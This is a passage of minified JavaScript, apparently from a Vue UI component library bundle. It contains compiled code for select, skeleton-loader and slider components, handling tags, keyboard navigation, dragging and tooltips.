Bt=at(Mt,u(ct));Bt>-1&&!A.value&&(Mt=[...e.modelValue.slice(0,Bt),...e.modelValue.slice(Bt+1)],p.cachedOptions.splice(Bt,1),wt(Mt),t("remove-tag",u(ct)),J(ct)),Je.stopPropagation(),Yt()},Yt=()=>{var Je;(Je=E.value)==null||Je.focus()},Di=()=>{var Je;(Je=E.value)==null||Je.blur()},Dt=()=>{p.inputValue.length>0?p.inputValue="":w.value=!1},Xt=Je=>Y3(Je,ct=>!p.cachedOptions.some(Mt=>u(Mt)===ct&&c(Mt))),Xi=Je=>{if(e.multiple&&Je.code!==_e.delete&&p.inputValue.length===0){Je.preventDefault();const ct=e.modelValue.slice(),Mt=Xt(ct);if(Mt<0)return;ct.splice(Mt,1);const Bt=p.cachedOptions[Mt];p.cachedOptions.splice(Mt,1),J(Bt),wt(ct)}},Ke=()=>{let Je;Ve(e.modelValue)?Je=[]:Je=void 0,e.multiple?p.cachedOptions=[]:p.selectedLabel="",w.value=!1,wt(Je),t("clear"),G(),Yt()},Ue=(Je,ct=void 0)=>{const Mt=b.value;if(!["forward","backward"].includes(Je)||A.value||Mt.length<=0||Me.value)return;if(!w.value)return $();ct===void 0&&(ct=p.hoveringIndex);let Bt=-1;Je==="forward"?(Bt=ct+1,Bt>=Mt.length&&(Bt=0)):Je==="backward"&&(Bt=ct-1,(Bt<0||Bt>=Mt.length)&&(Bt=Mt.length-1));const vr=Mt[Bt];if(c(vr)||vr.type==="Group")return Ue(Je,Bt);p.hoveringIndex=Bt,Pn(Bt)},dn=()=>{if(w.value)~p.hoveringIndex&&b.value[p.hoveringIndex]&&yi(b.value[p.hoveringIndex],p.hoveringIndex);else return $()},qt=Je=>{p.hoveringIndex=Je},Zt=()=>{e.multiple?p.hoveringIndex=b.value.findIndex(Je=>e.modelValue.some(ct=>gt(ct)===gt(Je))):p.hoveringIndex=b.value.findIndex(Je=>gt(Je)===gt(e.modelValue))},Ur=Je=>{if(p.inputValue=Je.target.value,e.remote)ee();else return oe()},Ut=Je=>{if(w.value=!1,U.value){const ct=new FocusEvent("focus",Je);L(ct)}},jt=()=>$e(()=>{~Re.value&&Pn(p.hoveringIndex)}),Pn=Je=>{W.value.scrollToItem(Je)},Ao=Je=>{const ct=gt(Je);if(Ie.value.has(ct)){const{option:Mt}=Ie.value.get(ct);return Mt}return{value:Je,label:Je}},Xo=()=>{if(e.multiple)if(e.modelValue.length>0){p.cachedOptions.length=0,p.previousValue=e.modelValue.toString();for(const Je of e.modelValue){const ct=Ao(Je);p.cachedOptions.push(ct)}}else p.cachedOptions=[],p.previousValue=void 0;else if(z.value){p.previousValue=e.modelValue;const Je=b.value,ct=Je.findIndex(Mt=>gt(u(Mt))===gt(e.modelValue));~ct?p.selectedLabel=l(Je[ct]):p.selectedLabel=gt(e.modelValue)}else p.selectedLabel="",p.previousValue=void 0;G(),ve()};return Ce(w,Je=>{Je?ze(""):(p.inputValue="",p.previousQuery=null,p.isBeforeHide=!0,Q("")),t("visible-change",Je)}),Ce(()=>e.modelValue,(Je,ct)=>{var Mt;(!Je||Je.toString()!==p.previousValue)&&Xo(),!Yr(Je,ct)&&e.validateEvent&&((Mt=s==null?void 0:s.validate)==null||Mt.call(s,"change").catch(Bt=>void 0))},{deep:!0}),Ce(()=>e.options,()=>{const Je=E.value;(!Je||Je&&document.activeElement!==Je)&&Xo()},{deep:!0,flush:"post"}),Ce(()=>b.value,()=>W.value&&$e(W.value.resetScrollTop)),Gn(()=>{p.isBeforeHide||we()}),Gn(()=>{const{valueKey:Je,options:ct}=e,Mt=new Map;for(const Bt of ct){const vr=u(Bt);let qr=vr;if(At(qr)&&(qr=Tn(vr,Je)),Mt.get(qr))break;Mt.set(qr,!0)}}),mt(()=>{Xo()}),On(v,Ht),On(I,vt),On(x,Rt),On(W,Nt),On(P,Nt),On(j,Ft),On(H,Pi),{inputId:a,collapseTagSize:ue,currentPlaceholder:be,expanded:w,emptyText:de,popupHeight:C,debounce:re,allOptions:h,filteredOptions:b,iconComponent:y,iconReverse:T,tagStyle:me,collapseTagStyle:Ee,inputStyle:Le,popperSize:g,dropdownMenuVisible:Ne,hasModelValue:z,shouldShowPlaceholder:Ae,selectDisabled:A,selectSize:se,showClearBtn:k,states:p,isFocused:U,nsSelect:r,nsInput:o,calculatorRef:x,inputRef:E,menuRef:W,tagMenuRef:j,tooltipRef:q,tagTooltipRef:M,selectRef:v,wrapperRef:P,selectionRef:I,prefixRef:R,suffixRef:K,collapseItemRef:H,popperRef:xe,validateState:te,validateIcon:le,showTagList:Se,collapseTagList:Ze,debouncedOnInputChange:ee,deleteTag:Pt,getLabel:l,getValue:u,getDisabled:c,getValueKey:gt,handleBlur:L,handleClear:Ke,handleClickOutside:Ut,handleDel:Xi,handleEsc:Dt,handleFocus:X,focus:Yt,blur:Di,handleMenuEnter:jt,handleResize:Ht,resetSelectionWidth:vt,resetCalculatorWidth:Rt,updateTooltip:Nt,updateTagTooltip:Ft,updateOptions:we,toggleMenu:$,scrollTo:Pn,onInput:Ur,onKeyboardNavigate:Ue,onKeyboardSelect:dn,onSelect:yi,onHover:qt,handleCompositionStart:O,handleCompositionEnd:Y,handleCompositionUpdate:Z}},due=ie({name:"ElSelectV2",components:{ElSelectMenu:aue,ElTag:Nd,ElTooltip:Vr,ElIcon:Pe},directives:{ClickOutside:Is},props:tue,emits:[St,qn,"remove-tag","clear","visible-change","focus","blur"],setup(e,{emit:t}){const n=N(()=>{const{modelValue:o,multiple:i}=e,s=i?[]:void 0;return Ve(o)?i?o:s:i?s:o}),r=cue($t({...Fn(e),modelValue:n}),t);return Ot(xI,{props:$t({...Fn(e),height:r.popupHeight,modelValue:n}),tooltipRef:r.tooltipRef,onSelect:r.onSelect,onHover:r.onHover,onKeyboardNavigate:r.onKeyboardNavigate,onKeyboardSelect:r.onKeyboardSelect}),{...r,modelValue:n}}}),fue=["id","autocomplete","aria-expanded","aria-label","disabled","readonly","name"],hue=["textContent"];function pue(e,t,n,r,o,i){const s=pt("el-tag"),a=pt("el-tooltip"),l=pt("el-icon"),u=pt("el-select-menu"),c=$p("click-outside");return ft((B(),_("div",{ref:"selectRef",class:F([e.nsSelect.b(),e.nsSelect.m(e.selectSize)]),onMouseenter:t[14]||(t[14]=f=>e.states.inputHovering=!0),onMouseleave:t[15]||(t[15]=f=>e.states.inputHovering=!1),onClick:t[16]||(t[16]=rt((...f)=>e.toggleMenu&&e.toggleMenu(...f),["prevent","stop"]))},[ae(a,{ref:"tooltipRef",visible:e.dropdownMenuVisible,teleported:e.teleported,"popper-class":[e.nsSelect.e("popper"),e.popperClass],"gpu-acceleration":!1,"stop-popper-mouse-event":!1,"popper-options":e.popperOptions,"fallback-placements":e.fallbackPlacements,effect:e.effect,placement:e.placement,pure:"",transition:`${e.nsSelect.namespace.value}-zoom-in-top`,trigger:"click",persistent:e.persistent,onBeforeShow:e.handleMenuEnter,onHide:t[13]||(t[13]=f=>e.states.isBeforeHide=!1)},{default:fe(()=>[ne("div",{ref:"wrapperRef",class:F([e.nsSelect.e("wrapper"),e.nsSelect.is("focused",e.isFocused),e.nsSelect.is("hovering",e.states.inputHovering),e.nsSelect.is("filterable",e.filterable),e.nsSelect.is("disabled",e.selectDisabled)])},[e.$slots.prefix?(B(),_("div",{key:0,ref:"prefixRef",class:F(e.nsSelect.e("prefix"))},[qe(e.$slots,"prefix")],2)):pe("v-if",!0),ne("div",{ref:"selectionRef",class:F([e.nsSelect.e("selection"),e.nsSelect.is("near",e.multiple&&!e.$slots.prefix&&!!e.modelValue.length)])},[e.multiple?qe(e.$slots,"tag",{key:0},()=>[(B(!0),_(Qe,null,Lt(e.showTagList,f=>(B(),_("div",{key:e.getValueKey(e.getValue(f)),class:F(e.nsSelect.e("selected-item"))},[ae(s,{closable:!e.selectDisabled&&!e.getDisabled(f),size:e.collapseTagSize,type:e.tagType,"disable-transitions":"",style:De(e.tagStyle),onClose:p=>e.deleteTag(p,f)},{default:fe(()=>[ne("span",{class:F(e.nsSelect.e("tags-text"))},We(e.getLabel(f)),3)]),_:2},1032,["closable","size","type","style","onClose"])],2))),128)),e.collapseTags&&e.modelValue.length>e.maxCollapseTags?(B(),ye(a,{key:0,ref:"tagTooltipRef",disabled:e.dropdownMenuVisible||!e.collapseTagsTooltip,"fallback-placements":["bottom","top","right","left"],effect:e.effect,placement:"bottom",teleported:e.teleported},{default:fe(()=>[ne("div",{ref:"collapseItemRef",class:F(e.nsSelect.e("selected-item"))},[ae(s,{closable:!1,size:e.collapseTagSize,type:e.tagType,style:De(e.collapseTagStyle),"disable-transitions":""},{default:fe(()=>[ne("span",{class:F(e.nsSelect.e("tags-text"))}," + "+We(e.modelValue.length-e.maxCollapseTags),3)]),_:1},8,["size","type","style"])],2)]),content:fe(()=>[ne("div",{ref:"tagMenuRef",class:F(e.nsSelect.e("selection"))},[(B(!0),_(Qe,null,Lt(e.collapseTagList,f=>(B(),_("div",{key:e.getValueKey(e.getValue(f)),class:F(e.nsSelect.e("selected-item"))},[ae(s,{class:"in-tooltip",closable:!e.selectDisabled&&!e.getDisabled(f),size:e.collapseTagSize,type:e.tagType,"disable-transitions":"",onClose:p=>e.deleteTag(p,f)},{default:fe(()=>[ne("span",{class:F(e.nsSelect.e("tags-text"))},We(e.getLabel(f)),3)]),_:2},1032,["closable","size","type","onClose"])],2))),128))],2)]),_:1},8,["disabled","effect","teleported"])):pe("v-if",!0)]):pe("v-if",!0),e.selectDisabled?pe("v-if",!0):(B(),_("div",{key:1,class:F([e.nsSelect.e("selected-item"),e.nsSelect.e("input-wrapper"),e.nsSelect.is("hidden",!e.filterable)])},[ft(ne("input",{id:e.inputId,ref:"inputRef","onUpdate:modelValue":t[0]||(t[0]=f=>e.states.inputValue=f),style:De(e.inputStyle),autocomplete:e.autocomplete,"aria-autocomplete":"list","aria-haspopup":"listbox",autocapitalize:"off","aria-expanded":e.expanded,"aria-label":e.ariaLabel,class:F([e.nsSelect.e("input"),e.nsSelect.is(e.selectSize)]),disabled:e.selectDisabled,role:"combobox",readonly:!e.filterable,spellcheck:"false",type:"text",name:e.name,onFocus:t[1]||(t[1]=(...f)=>e.handleFocus&&e.handleFocus(...f)),onBlur:t[2]||(t[2]=(...f)=>e.handleBlur&&e.handleBlur(...f)),onInput:t[3]||(t[3]=(...f)=>e.onInput&&e.onInput(...f)),onCompositionstart:t[4]||(t[4]=(...f)=>e.handleCompositionStart&&e.handleCompositionStart(...f)),onCompositionupdate:t[5]||(t[5]=(...f)=>e.handleCompositionUpdate&&e.handleCompositionUpdate(...f)),onCompositionend:t[6]||(t[6]=(...f)=>e.handleCompositionEnd&&e.handleCompositionEnd(...f)),onKeydown:[t[7]||(t[7]=un(rt(f=>e.onKeyboardNavigate("backward"),["stop","prevent"]),["up"])),t[8]||(t[8]=un(rt(f=>e.onKeyboardNavigate("forward"),["stop","prevent"]),["down"])),t[9]||(t[9]=un(rt((...f)=>e.onKeyboardSelect&&e.onKeyboardSelect(...f),["stop","prevent"]),["enter"])),t[10]||(t[10]=un(rt((...f)=>e.handleEsc&&e.handleEsc(...f),["stop","prevent"]),["esc"])),t[11]||(t[11]=un(rt((...f)=>e.handleDel&&e.handleDel(...f),["stop"]),["delete"]))],onClick:t[12]||(t[12]=rt((...f)=>e.toggleMenu&&e.toggleMenu(...f),["stop"]))},null,46,fue),[[Cb,e.states.inputValue]]),e.filterable?(B(),_("span",{key:0,ref:"calculatorRef","aria-hidden":"true",class:F(e.nsSelect.e("input-calculator")),textContent:We(e.states.inputValue)},null,10,hue)):pe("v-if",!0)],2)),e.shouldShowPlaceholder?(B(),_("div",{key:2,class:F([e.nsSelect.e("selected-item"),e.nsSelect.e("placeholder"),e.nsSelect.is("transparent",!e.hasModelValue||e.expanded&&!e.states.inputValue)])},[ne("span",null,We(e.currentPlaceholder),1)],2)):pe("v-if",!0)],2),ne("div",{ref:"suffixRef",class:F(e.nsSelect.e("suffix"))},[e.iconComponent?ft((B(),ye(l,{key:0,class:F([e.nsSelect.e("caret"),e.nsInput.e("icon"),e.iconReverse])},{default:fe(()=>[(B(),ye(Et(e.iconComponent)))]),_:1},8,["class"])),[[_t,!e.showClearBtn]]):pe("v-if",!0),e.showClearBtn&&e.clearIcon?(B(),ye(l,{key:1,class:F([e.nsSelect.e("caret"),e.nsInput.e("icon")]),onClick:rt(e.handleClear,["prevent","stop"])},{default:fe(()=>[(B(),ye(Et(e.clearIcon)))]),_:1},8,["class","onClick"])):pe("v-if",!0),e.validateState&&e.validateIcon?(B(),ye(l,{key:2,class:F([e.nsInput.e("icon"),e.nsInput.e("validateIcon")])},{default:fe(()=>[(B(),ye(Et(e.validateIcon)))]),_:1},8,["class"])):pe("v-if",!0)],2)],2)]),content:fe(()=>[ae(u,{ref:"menuRef",data:e.filteredOptions,width:e.popperSize,"hovering-index":e.states.hoveringIndex,"scrollbar-always-on":e.scrollbarAlwaysOn},ms({default:fe(f=>[qe(e.$slots,"default",or(kr(f)))]),_:2},[e.$slots.header?{name:"header",fn:fe(()=>[ne("div",{class:F(e.nsSelect.be("dropdown","header"))},[qe(e.$slots,"header")],2)])}:void 0,e.$slots.loading&&e.loading?{name:"loading",fn:fe(()=>[ne("div",{class:F(e.nsSelect.be("dropdown","loading"))},[qe(e.$slots,"loading")],2)])}:e.loading||e.filteredOptions.length===0?{name:"empty",fn:fe(()=>[ne("div",{class:F(e.nsSelect.be("dropdown","empty"))},[qe(e.$slots,"empty",{},()=>[ne("span",null,We(e.emptyText),1)])],2)])}:void 0,e.$slots.footer?{name:"footer",fn:fe(()=>[ne("div",{class:F(e.nsSelect.be("dropdown","footer"))},[qe(e.$slots,"footer")],2)])}:void 0]),1032,["data","width","hovering-index","scrollbar-always-on"])]),_:3},8,["visible","teleported","popper-class","popper-options","fallback-placements","effect","placement","transition","persistent","onBeforeShow"])],34)),[[c,e.handleClickOutside,e.popperRef]])}var Wh=Ye(due,[["render",pue],["__file","select.vue"]]);Wh.install=e=>{e.component(Wh.name,Wh)};const mue=Wh,vue=mue,gue=Ge({animated:{type:Boolean,default:!1},count:{type:Number,default:1},rows:{type:Number,default:3},loading:{type:Boolean,default:!0},throttle:{type:Number}}),yue=Ge({variant:{type:String,values:["circle","rect","h1","h3","text","caption","p","image","button"],default:"text"}}),bue=ie({name:"ElSkeletonItem"}),Iue=ie({...bue,props:yue,setup(e){const t=Oe("skeleton");return(n,r)=>(B(),_("div",{class:F([d(t).e("item"),d(t).e(n.variant)])},[n.variant==="image"?(B(),ye(d(LF),{key:0})):pe("v-if",!0)],2))}});var Yp=Ye(Iue,[["__file","skeleton-item.vue"]]);const que=ie({name:"ElSkeleton"}),wue=ie({...que,props:gue,setup(e,{expose:t}){const n=e,r=Oe("skeleton"),o=C9(hn(n,"loading"),n.throttle);return t({uiLoading:o}),(i,s)=>d(o)?(B(),_("div",xt({key:0,class:[d(r).b(),d(r).is("animated",i.animated)]},i.$attrs),[(B(!0),_(Qe,null,Lt(i.count,a=>(B(),_(Qe,{key:a},[i.loading?qe(i.$slots,"template",{key:a},()=>[ae(Yp,{class:F(d(r).is("first")),variant:"p"},null,8,["class"]),(B(!0),_(Qe,null,Lt(i.rows,l=>(B(),ye(Yp,{key:l,class:F([d(r).e("paragraph"),d(r).is("last",l===i.rows&&i.rows>1)]),variant:"p"},null,8,["class"]))),128))]):pe("v-if",!0)],64))),128))],16)):qe(i.$slots,"default",or(xt({key:1},i.$attrs)))}});var Sue=Ye(wue,[["__file","skeleton.vue"]]);const Eue=It(Sue,{SkeletonItem:Yp}),Aue=kn(Yp),Qx=Symbol("sliderContextKey"),Mue=Ge({modelValue:{type:he([Number,Array]),default:0},id:{type:String,default:void 0},min:{type:Number,default:0},max:{type:Number,default:100},step:{type:Number,default:1},showInput:Boolean,showInputControls:{type:Boolean,default:!0},size:fr,inputSize:fr,showStops:Boolean,showTooltip:{type:Boolean,default:!0},formatTooltip:{type:he(Function),default:void 0},disabled:Boolean,range:Boolean,vertical:Boolean,height:String,debounce:{type:Number,default:300},label:{type:String,default:void 0},rangeStartLabel:{type:String,default:void 0},rangeEndLabel:{type:String,default:void 0},formatValueText:{type:he(Function),default:void 0},tooltipClass:{type:String,default:void 0},placement:{type:String,values:Fl,default:"top"},marks:{type:he(Object)},validateEvent:{type:Boolean,default:!0}}),g0=e=>nt(e)||Ve(e)&&e.every(nt),Cue={[St]:g0,[Qr]:g0,[qn]:g0},kue=(e,t,n)=>{const r=D();return mt(async()=>{e.range?(Array.isArray(e.modelValue)?(t.firstValue=Math.max(e.min,e.modelValue[0]),t.secondValue=Math.min(e.max,e.modelValue[1])):(t.firstValue=e.min,t.secondValue=e.max),t.oldValue=[t.firstValue,t.secondValue]):(typeof e.modelValue!="number"||Number.isNaN(e.modelValue)?t.firstValue=e.min:t.firstValue=Math.min(e.max,Math.max(e.min,e.modelValue)),t.oldValue=t.firstValue),pn(window,"resize",n),await $e(),n()}),{sliderWrapper:r}},xue=e=>N(()=>e.marks?Object.keys(e.marks).map(Number.parseFloat).sort((n,r)=>n-r).filter(n=>n<=e.max&&n>=e.min).map(n=>({point:n,position:(n-e.min)*100/(e.max-e.min),mark:e.marks[n]})):[]),Oue=(e,t,n)=>{const{form:r,formItem:o}=eo(),i=ln(),s=D(),a=D(),l={firstButton:s,secondButton:a},u=N(()=>e.disabled||(r==null?void 0:r.disabled)||!1),c=N(()=>Math.min(t.firstValue,t.secondValue)),f=N(()=>Math.max(t.firstValue,t.secondValue)),p=N(()=>e.range?`${100*(f.value-c.value)/(e.max-e.min)}%`:`${100*(t.firstValue-e.min)/(e.max-e.min)}%`),m=N(()=>e.range?`${100*(c.value-e.min)/(e.max-e.min)}%`:"0%"),g=N(()=>e.vertical?{height:e.height}:{}),v=N(()=>e.vertical?{height:p.value,bottom:m.value}:{width:p.value,left:m.value}),I=()=>{i.value&&(t.sliderSize=i.value[`client${e.vertical?"Height":"Width"}`])},q=U=>{const X=e.min+U*(e.max-e.min)/100;if(!e.range)return s;let L;return Math.abs(c.value-X)<Math.abs(f.value-X)?L=t.firstValue<t.secondValue?"firstButton":"secondButton":L=t.firstValue>t.secondValue?"firstButton":"secondButton",l[L]},M=U=>{const X=q(U);return X.value.setPosition(U),X},E=U=>{t.firstValue=U,R(e.range?[c.value,f.value]:U)},x=U=>{t.secondValue=U,e.range&&R([c.value,f.value])},R=U=>{n(St,U),n(Qr,U)},K=async()=>{await $e(),n(qn,e.range?[c.value,f.value]:e.modelValue)},W=U=>{var X,L,h,b,w,A;if(u.value||t.dragging)return;I();let C=0;if(e.vertical){const S=(h=(L=(X=U.touches)==null?void 0:X.item(0))==null?void 0:L.clientY)!=null?h:U.clientY;C=(i.value.getBoundingClientRect().bottom-S)/t.sliderSize*100}else{const S=(A=(w=(b=U.touches)==null?void 0:b.item(0))==null?void 0:w.clientX)!=null?A:U.clientX,z=i.value.getBoundingClientRect().left;C=(S-z)/t.sliderSize*100}if(!(C<0||C>100))return M(C)};return{elFormItem:o,slider:i,firstButton:s,secondButton:a,sliderDisabled:u,minValue:c,maxValue:f,runwayStyle:g,barStyle:v,resetSize:I,setPosition:M,emitChange:K,onSliderWrapperPrevent:U=>{var X,L;((X=l.firstButton.value)!=null&&X.dragging||(L=l.secondButton.value)!=null&&L.dragging)&&U.preventDefault()},onSliderClick:U=>{W(U)&&K()},onSliderDown:async U=>{const X=W(U);X&&(await $e(),X.value.onButtonDown(U))},setFirstValue:E,setSecondValue:x}},{left:zue,down:Kue,right:Rue,up:Lue,home:Zue,end:Tue,pageUp:Nue,pageDown:jue}=_e,Wue=(e,t,n)=>{const r=D(),o=D(!1),i=N(()=>t.value instanceof Function),s=N(()=>i.value&&t.value(e.modelValue)||e.modelValue),a=co(()=>{n.value&&(o.value=!0)},50),l=co(()=>{n.value&&(o.value=!1)},50);return{tooltip:r,tooltipVisible:o,formatValue:s,displayTooltip:a,hideTooltip:l}},Gue=(e,t,n)=>{const{disabled:r,min:o,max:i,step:s,showTooltip:a,precision:l,sliderSize:u,formatTooltip:c,emitChange:f,resetSize:p,updateDragging:m}=Fe(Qx),{tooltip:g,tooltipVisible:v,formatValue:I,displayTooltip:q,hideTooltip:M}=Wue(e,c,a),E=D(),x=N(()=>`${(e.modelValue-o.value)/(i.value-o.value)*100}%`),R=N(()=>e.vertical?{bottom:x.value}:{left:x.value}),K=()=>{t.hovering=!0,q()},W=()=>{t.hovering=!1,t.dragging||M()},j=y=>{r.value||(y.preventDefault(),C(y),window.addEventListener("mousemove",S),window.addEventListener("touchmove",S),window.addEventListener("mouseup",z),window.addEventListener("touchend",z),window.addEventListener("contextmenu",z),E.value.focus())},H=y=>{r.value||(t.newPosition=Number.parseFloat(x.value)+y/(i.value-o.value)*100,k(t.newPosition),f())},P=()=>{H(-s.value)},U=()=>{H(s.value)},X=()=>{H(-s.value*4)},L=()=>{H(s.value*4)},h=()=>{r.value||(k(0),f())},b=()=>{r.value||(k(100),f())},w=y=>{let T=!0;[zue,Kue].includes(y.key)?P():[Rue,Lue].includes(y.key)?U():y.key===Zue?h():y.key===Tue?b():y.key===jue?X():y.key===Nue?L():T=!1,T&&y.preventDefault()},A=y=>{let T,te;return y.type.startsWith("touch")?(te=y.touches[0].clientY,T=y.touches[0].clientX):(te=y.clientY,T=y.clientX),{clientX:T,clientY:te}},C=y=>{t.dragging=!0,t.isClick=!0;const{clientX:T,clientY:te}=A(y);e.vertical?t.startY=te:t.startX=T,t.startPosition=Number.parseFloat(x.value),t.newPosition=t.startPosition},S=y=>{if(t.dragging){t.isClick=!1,q(),p();let T;const{clientX:te,clientY:le}=A(y);e.vertical?(t.currentY=le,T=(t.startY-t.currentY)/u.value*100):(t.currentX=te,T=(t.currentX-t.startX)/u.value*100),t.newPosition=t.startPosition+T,k(t.newPosition)}},z=()=>{t.dragging&&(setTimeout(()=>{t.dragging=!1,t.hovering||M(),t.isClick||k(t.newPosition),f()},0),window.removeEventListener("mousemove",S),window.removeEventListener("touchmove",S),window.removeEventListener("mouseup",z),window.removeEventListener("touchend",z),window.removeEventListener("contextmenu",z))},k=async y=>{if(y===null||Number.isNaN(+y))return;y<0?y=0:y>100&&(y=100);const T=100/((i.value-o.value)/s.value);let le=Math.round(y/T)*T*(i.value-o.value)*.01+o.value;le=Number.parseFloat(le.toFixed(l.value)),le!==e.modelValue&&n(St,le),!t.dragging&&e.modelValue!==t.oldValue&&(t.oldValue=e.modelValue),await $e(),t.dragging&&q(),g.value.updatePopper()};return Ce(()=>t.dragging,y=>{m(y)}),{disabled:r,button:E,tooltip:g,tooltipVisible:v,showTooltip:a,wrapperStyle:R,formatValue:I,handleMouseEnter:K,handleMouseLeave:W,onButtonDown:j,onKeyDown:w,setPosition:k}},Yue=(e,t,n,r)=>({stops:N(()=>{if(!e.showStops||e.min>e.max)return[];if(e.step===0)return[];const s=(e.max-e.min)/e.step,a=100*e.step/(e.max-e.min),l=Array.from({length:s-1}).map((u,c)=>(c+1)*a);return e.range?l.filter(u=>u<100*(n.value-e.min)/(e.max-e.min)||u>100*(r.value-e.min)/(e.max-e.min)):l.filter(u=>u>100*(t.firstValue-e.min)/(e.max-e.min))}),getStopStyle:s=>e.vertical?{bottom:`${s}%`}:{left:`${s}%`}}),Bue=(e,t,n,r,o,i)=>{const s=u=>{o(St,u),o(Qr,u)},a=()=>e.range?![n.value,r.value].every((u,c)=>u===t.oldValue[c]):e.modelValue!==t.oldValue,l=()=>{var u,c;e.min>e.max&&tr("Slider","min should not be greater than max.");const f=e.modelValue;e.range&&Array.isArray(f)?f[1]<e.min?s([e.min,e.min]):f[0]>e.max?s([e.max,e.max]):f[0]<e.min?s([e.min,f[1]]):f[1]>e.max?s([f[0],e.max]):(t.firstValue=f[0],t.secondValue=f[1],a()&&(e.validateEvent&&((u=i==null?void 0:i.validate)==null||u.call(i,"change").catch(p=>void 0)),t.oldValue=f.slice())):!e.range&&typeof f=="number"&&!Number.isNaN(f)&&(f<e.min?s(e.min):f>e.max?s(e.max):(t.firstValue=f,a()&&(e.validateEvent&&((c=i==null?void 0:i.validate)==null||c.call(i,"change").catch(p=>void 0)),t.oldValue=f)))};l(),Ce(()=>t.dragging,u=>{u||l()}),Ce(()=>e.modelValue,(u,c)=>{t.dragging||Array.isArray(u)&&Array.isArray(c)&&u.every((f,p)=>f===c[p])&&t.firstValue===u[0]&&t.secondValue===u[1]||l()},{deep:!0}),Ce(()=>[e.min,e.max],()=>{l()})},Jue=Ge({modelValue:{type:Number,default:0},vertical:Boolean,tooltipClass:String,placement:{type:String,values:Fl,default:"top"}}),Vue={[St]:e=>nt(e)},Uue=["tabindex"],Fue=ie({name:"ElSliderButton"}),Hue=ie({...Fue,props:Jue,emits:Vue,setup(e,{expose:t,emit:n}){const r=e,o=Oe("slider"),i=$t({hovering:!1,dragging:!1,isClick:!1,startX:0,currentX:0,startY:0,currentY:0,startPosition:0,newPosition:0,oldValue:r.modelValue}),{disabled:s,button:a,tooltip:l,showTooltip:u,tooltipVisible:c,wrapperStyle:f,formatValue:p,handleMouseEnter:m,handleMouseLeave:g,onButtonDown:v,onKeyDown:I,setPosition:q}=Gue(r,i,n),{hovering:M,dragging:E}=Fn(i);return t({onButtonDown:v,onKeyDown:I,setPosition:q,hovering:M,dragging:E}),(x,R)=>(B(),_("div",{ref_key:"button",ref:a,class:F([d(o).e("button-wrapper"),{hover:d(M),dragging:d(E)}]),style:De(d(f)),tabindex:d(s)?-1:0,onMouseenter:R[0]||(R[0]=(...K)=>d(m)&&d(m)(...K)),onMouseleave:R[1]||(R[1]=(...K)=>d(g)&&d(g)(...K)),onMousedown:R[2]||(R[2]=(...K)=>d(v)&&d(v)(...K)),onTouchstart:R[3]||(R[3]=(...K)=>d(v)&&d(v)(...K)),onFocus:R[4]||(R[4]=(...K)=>d(m)&&d(m)(...K)),onBlur:R[5]||(R[5]=(...K)=>d(g)&&d(g)(...K)),onKeydown:R[6]||(R[6]=(...K)=>d(I)&&d(I)(...K))},[ae(d(Vr),{ref_key:"tooltip",ref:l,visible:d(c),placement:x.placement,"fallback-placements":["top","bottom","right","left"],"stop-popper-mouse-event":!1,"popper-class":x.tooltipClass,disabled:!d(u),persistent:""},{content:fe(()=>[ne("span",null,We(d(p)),1)]),default:fe(()=>[ne("div",{class:F([d(o).e("button"),{hover:d(M),dragging:d(E)}])},null,2)]),_:1},8,["visible","placement","popper-class","disabled"])],46,Uue))}});var v7=Ye(Hue,[["__file","button.vue"]]);const Pue=Ge({mark:{type:he([String,Object]),default:void 0}});var Due=ie({name:"ElSliderMarker",props:Pue,setup(e){const t=Oe("slider"),n=N(()=>st(e.mark)?e.mark:e.mark.label),r=N(()=>st(e.mark)?void 0:e.mark.style);return()=>tt("div",{class:t.e("marks-text"),style:r.value},n.value)}});const Xue=["id","role","aria-label","aria-labelledby"],Que={key:1},_ue=ie({name:"ElSlider"}),$ue=ie({..._ue,props:Mue,emits:Cue,setup(e,{expose:t,emit:n}){const r=e,o=Oe("slider"),{t:i}=Vt(),s=$t({firstValue:0,secondValue:0,oldValue:0,dragging:!1,sliderSize:1}),{elFormItem:a,slider:l,firstButton:u,secondButton:c,sliderDisabled:f,minValue:p,maxValue:m,runwayStyle:g,barStyle:v,resetSize:I,emitChange:q,onSliderWrapperPrevent:M,onSliderClick:E,onSliderDown:x,setFirstValue:R,setSecondValue:K}=Oue(r,s,n),{stops:W,getStopStyle:j}=Yue(r,s,p,m),{inputId:H,isLabeledByFormItem:P}=Fi(r,{formItemContext:a}),U=nr(),X=N(()=>r.inputSize||U.value),L=N(()=>r.label||i("el.slider.defaultLabel",{min:r.min,max:r.max})),h=N(()=>r.range?r.rangeStartLabel||i("el.slider.defaultRangeStartLabel"):L.value),b=N(()=>r.formatValueText?r.formatValueText(y.value):`${y.value}`),w=N(()=>r.rangeEndLabel||i("el.slider.defaultRangeEndLabel")),A=N(()=>r.formatValueText?r.formatValueText(T.value):`${T.value}`),C=N(()=>[o.b(),o.m(U.value),o.is("vertical",r.vertical),{[o.m("with-input")]:r.showInput}]),S=xue(r);Bue(r,s,p,m,n,a);const z=N(()=>{const re=[r.min,r.max,r.step].map(de=>{const ce=`${de}`.split(".")[1];return ce?ce.length:0});return Math.max.apply(null,re)}),{sliderWrapper:k}=kue(r,s,I),{firstValue:y,secondValue:T,sliderSize:te}=Fn(s),le=re=>{s.dragging=re};return Ot(Qx,{...Fn(r),sliderSize:te,disabled:f,precision:z,emitChange:q,resetSize:I,updateDragging:le}),t({onSliderClick:E}),(re,de)=>{var ce,we;return B(),_("div",{id:re.range?d(H):void 0,ref_key:"sliderWrapper",ref:k,class:F(d(C)),role:re.range?"group":void 0,"aria-label":re.range&&!d(P)?d(L):void 0,"aria-labelledby":re.range&&d(P)?(ce=d(a))==null?void 0:ce.labelId:void 0,onTouchstart:de[2]||(de[2]=(...Ie)=>d(M)&&d(M)(...Ie)),onTouchmove:de[3]||(de[3]=(...Ie)=>d(M)&&d(M)(...Ie))},[ne("div",{ref_key:"slider",ref:l,class:F([d(o).e("runway"),{"show-input":re.showInput&&!re.range},d(o).is("disabled",d(f))]),style:De(d(g)),onMousedown:de[0]||(de[0]=(...Ie)=>d(x)&&d(x)(...Ie)),onTouchstart:de[1]||(de[1]=(...Ie)=>d(x)&&d(x)(...Ie))},[ne("div",{class:F(d(o).e("bar")),style:De(d(v))},null,6),ae(v7,{id:re.range?void 0:d(H),ref_key:"firstButton",ref:u,"model-value":d(y),vertical:re.vertical,"tooltip-class":re.tooltipClass,placement:re.placement,role:"slider","aria-label":re.range||!d(P)?d(h):void 0,"aria-labelledby":!re.range&&d(P)?(we=d(a))==null?void 0:we.labelId:void 